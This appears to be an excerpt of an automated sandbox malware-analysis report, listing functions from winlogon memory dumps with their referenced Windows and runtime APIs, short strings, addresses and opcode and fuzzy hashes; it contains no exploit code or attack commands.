Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 177804a8e33fc8a1ffb9e6d06ac6c2892e3a9ed2a31dc03627c06d5a34e3f628
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A4F0F874624BC5D2EA148F53F9551ADB662AF48FD0F489132EE4E47B18DE2CC4858700

Function 000001E858985710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985726

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction ID: ff1100847cf1c0e0aadc7ec0e970ba072bd13cc79387902f55229e6ec2abdf55
Opcode Fuzzy Hash: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction Fuzzy Hash: 0361C436629A85CAE760DB55E45039EB7A0FB88784F504127EE8E87BA8DF7CC444CF00

Function 000001E858994104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E85899412C
_set_statfp.LIBCMT ref: 000001E858994147
_set_statfp.LIBCMT ref: 000001E858994163
_set_statfp.LIBCMT ref: 000001E85899419F

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 63986d8d169832ca2b3c9ff94d929ac1109ad7e490c18855dc707efbf0d460dd
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 5D11A3B2B30AD092F67A5569D4653EDB1477F783B8F090636AD7E077D6EE24C8414201

Function 000001E8589C3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E8589C352C
_set_statfp.LIBCMT ref: 000001E8589C3547
_set_statfp.LIBCMT ref: 000001E8589C3563
_set_statfp.LIBCMT ref: 000001E8589C359F

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: b4ee51cf0a1e5aea1822e43a26c047e5dcf7f4fbb0b99cff55914cd4d144b702
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 7511E932AB0ED1D2FAA42528E4523EDBF806F59374F49873BAD7E067D6CE26C8417101

Function 000001E858963504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E85896352C
_set_statfp.LIBCMT ref: 000001E858963547
_set_statfp.LIBCMT ref: 000001E858963563
_set_statfp.LIBCMT ref: 000001E85896359F

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 13a26281ade054cd1280fdbce72e43605aafa02c3cf2d887f28f1c2fac503938
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: D511A332A30AD191FA64192AE4413EDB1906F59374FD8873BBD6E076E6CE38C8417100

Function 000001E8589BF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001E8589BF124

Strings

Wednesday, xrefs: 000001E8589BF1ED
or copy constructor iterator', xrefs: 000001E8589BF25A, 000001E8589BF275
Tuesday, xrefs: 000001E8589BF0F4

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 45fbb07566537809df07c08353ba596d2c45bc6c88eb3f332a9267d3a220cd63
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: A661C6766286C0CEFA658BA9E5443EEFAA0EF85746F508837CE0E177A5DF34C8458300

Function 000001E85895F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001E85895F124

Strings

Wednesday, xrefs: 000001E85895F1ED
Tuesday, xrefs: 000001E85895F0F4
or copy constructor iterator', xrefs: 000001E85895F25A, 000001E85895F275

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: bbb57aa9e3b830d463c4fe85b52b4203214c9bc4de7028ccc68d76f93c744b6c
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 2761A2766206C0C2FA659B65E5443EEFAA1EF867A6F544837CE0E17BA4DF34C8458300

Function 000001E85898AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001E85898AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001E85898AAB7

Strings

MOC, xrefs: 000001E85898AA7C
RCC, xrefs: 000001E85898AA85

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: bb76fc1650d308761c410147ea84cb38f2e16afbcf0730215f2385a251eb584a
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 6C614633610A85CAEB209F65D4803DDB7A1FB48B88F044226EE4E17B99DF78C595CB02

Function 000001E85898AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E85898ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E85898AE88

Strings

csm, xrefs: 000001E85898ADC2
csm, xrefs: 000001E85898AEDA

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 49808e8ca0374573422c17999fa92c520f6827b0ca759f7661e9c90c8d8cbcb6
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: C85138732206C2CBEB648B25D58439DB7E0EB54B99F184126DE9D87A96CF38D491CF02

Function 000001E8589BA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589BA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E8589BA288

Strings

csm, xrefs: 000001E8589BA1C2
csm, xrefs: 000001E8589BA2DA

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: b8cb1cdd645de17ac90d150e5576baa1f770b257ea5295feeb99f43c7e10e3bf
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A9517A322292C0CEEB648B65D45439CB7E0FB55B96F188227DE9D87B95CF39D490C702

Function 000001E85895A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E85895A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E85895A288

Strings

csm, xrefs: 000001E85895A1C2
csm, xrefs: 000001E85895A2DA

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 0ad0f10a0311de8fe70e4511306a68505f179f6318197c4e8bd1820910d7e08b
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: DF517E322242C1CAEB648B25E44439DB7E0FF55B9AF184127DE9D87B95CF38D491CB0A

Function 000001E8589B8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589B8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589B84A8

Strings

csm, xrefs: 000001E8589B848E
f, xrefs: 000001E8589B8426

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 5afbde93f76065e937d33a33ecda40d7cc0652e0afb463397a4e63f594b95558
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: B751B932629280CEEB55CF15E445BDCB799FB48BD9F508076DE0A63788EFB4D8418704

Function 000001E858958405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858958413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589584A8

Strings

csm, xrefs: 000001E85895848E
f, xrefs: 000001E858958426

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: bfd78980145a28763c880af9517e8ac90edd43b032dea0cdb72a4fbda65ea15a
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4A51AC32621680CAEB14CF15E445BDEB799FF54B9AF508176DE4E63788EF34D8428B04

Function 000001E8589B83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589B8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589B84A8

Strings

csm, xrefs: 000001E8589B848E
f, xrefs: 000001E8589B8426

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: a63bd806f66d012ce775473c1f40d5f64a693a31238674c758956550f9c12806
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: F0318832225680DAEB159F11E849BDDBBA9FB48BD9F458036AE5E13788DF38C940C704

Function 000001E8589583E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858958413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589584A8

Strings

csm, xrefs: 000001E85895848E
f, xrefs: 000001E858958426

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 56d3e007963a7e7881fb8535ced7d73073085fdb1eb8715deed5cad551f2bc8b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: AD317C32221680D6EB14DF12E8457DEB7A4FF40B9AF958026EE5E17784DF38D941C704

Function 000001E858992058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001E8589920D7
WriteFile.KERNEL32 ref: 000001E85899239F
WriteFile.KERNEL32 ref: 000001E8589923E5
GetLastError.KERNEL32 ref: 000001E85899249B

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 5158255b9f45075a47059d5597f2be23213eaa00bc29a0f5feecf0f9424b8990
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 6BD1AE32B24AC0C9E711CFA9D4402ECBBB6FB54B98F144226DE6E97B99DE34C516C740

Function 000001E8589814A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E8589814C5
HeapFree.KERNEL32 ref: 000001E8589814D4
GetProcessHeap.KERNEL32 ref: 000001E8589814E1
HeapFree.KERNEL32 ref: 000001E8589814F0
GetProcessHeap.KERNEL32 ref: 000001E858981500

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 87d0c39c7ef690860e2d692a8e2b1ea7438f5f62204bc229bf9756ed41ae7668
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: FA014832620AD0C6E715EFA6E90418EB7A2FB88FC1F044436EE4E43729EE38C051C740

Function 000001E858992980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001E858992A9C
GetLastError.KERNEL32 ref: 000001E858992B27

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 12399152d6f5684d12032a5c33f3ea79e7a8066ea1a4d7d76d6e965cdc9918e8
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: DD91AD327206D0C5F7609FA9D8803EDFBA6BB45B98F14412BDE2E67A95DE34C486C700

Function 000001E85898253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001E858982620
StrCpyW.SHLWAPI ref: 000001E858982639

Strings

\\.\pipe\, xrefs: 000001E85898262B

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: dc5de42c1dc400c54a34142e8686c4d9b9fee3a7d214c8df3c00669743a542fc
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 357190362207C2CAE7259EA6E8443EEF795FB89B84F440037DD0E53B89DE35D6458B00

Function 000001E8589B9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001E8589B9EB7

Strings

RCC, xrefs: 000001E8589B9E85
MOC, xrefs: 000001E8589B9E7C

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 479c25fd653139756ea47a74aec904b6b413ad4f2ed2086552f17bedce541712
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: EC614632A29B84CAEB20DF65D4403DDB7A0FB49B99F144226EE4D17B98EF38D595C700

Function 000001E858959E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001E858959EB7

Strings

MOC, xrefs: 000001E858959E7C
RCC, xrefs: 000001E858959E85

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 094ec712c1b288e37f31cb4837e425075fcca7128a69f700356e5ae3858f6197
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: A1612632A25B84CAEB20DF65E4403DDB7A0FB45B89F144226EE4D17B99DF38D595CB00

Function 000001E858982330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001E858982416
StrCpyW.SHLWAPI ref: 000001E85898242D

Strings

\\.\pipe\, xrefs: 000001E858982421

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 414b1109d79ba0e870cecf76c2af5f31b5d4bde43533dd6e83f510ec87595dfc
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 6951BD322287C2C1F664DAAAE4983EEF791FB95780F450137DE5E03B99DE39C9048B50

Function 000001E8589926F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001E858992807
GetLastError.KERNEL32 ref: 000001E858992829

Strings

U, xrefs: 000001E8589927B3

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: dcdd8cd598e05c42887886c746ddf0c279423bf44c0c1bf9e557dc900a05699c
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 2A416072625A80C6EB209F65E4443EDF7A2FB98794F514032EE4E87794EF38C441C740

Function 000001E8589894A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001E8589894F0
RaiseException.KERNEL32 ref: 000001E858989531

Strings

csm, xrefs: 000001E85898951E

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 449c3b8d4a9707330a2244a19cbde2a29dd6a88ab94e040f38e9f4c0bfe6f638
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 5F110A36224B8182EB618F25F44439DB7E5FB88B94F584226EE8D47B69DF3CC551CB00

Function 000001E8589B7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589B737C

Strings

riptor at (, xrefs: 000001E8589B7364
ierarchy Descriptor', xrefs: 000001E8589B7381

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 0e26cef9ba68d931c57e211af9cd086a3cc8b9350f618ba4ce6d2e1c4988f689
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 2AE08671650B84D4DF018F21E8802DC73A4EF58B64B8891339D5C06311FE38D1E9C300

Function 000001E858957356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E85895737C

Strings

riptor at (, xrefs: 000001E858957364
ierarchy Descriptor', xrefs: 000001E858957381

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: b226c5ef1287e80dd1a639188cd00b7be9ee93c87761d6bca3fa593d7edb1d27
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 32E04F61660B84D0DB058F22E8412D873A09F58B64F8891229D5C06311EE38D1E9C300

Function 000001E8589B73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589B73D8

Strings

riptor at (, xrefs: 000001E8589B73C0
Locator', xrefs: 000001E8589B73DD

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: ebbb92f6b71bc6aeecd0247755a998ea3fb1c1d57f03a5a9e81a6553625eb14e
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: FDE08C71A20B88C4DF028F21E8802DCB3A4EF68B68F889133CE4C06311EE38D1E9C300

Function 000001E8589573B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589573D8

Strings

riptor at (, xrefs: 000001E8589573C0
Locator', xrefs: 000001E8589573DD

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
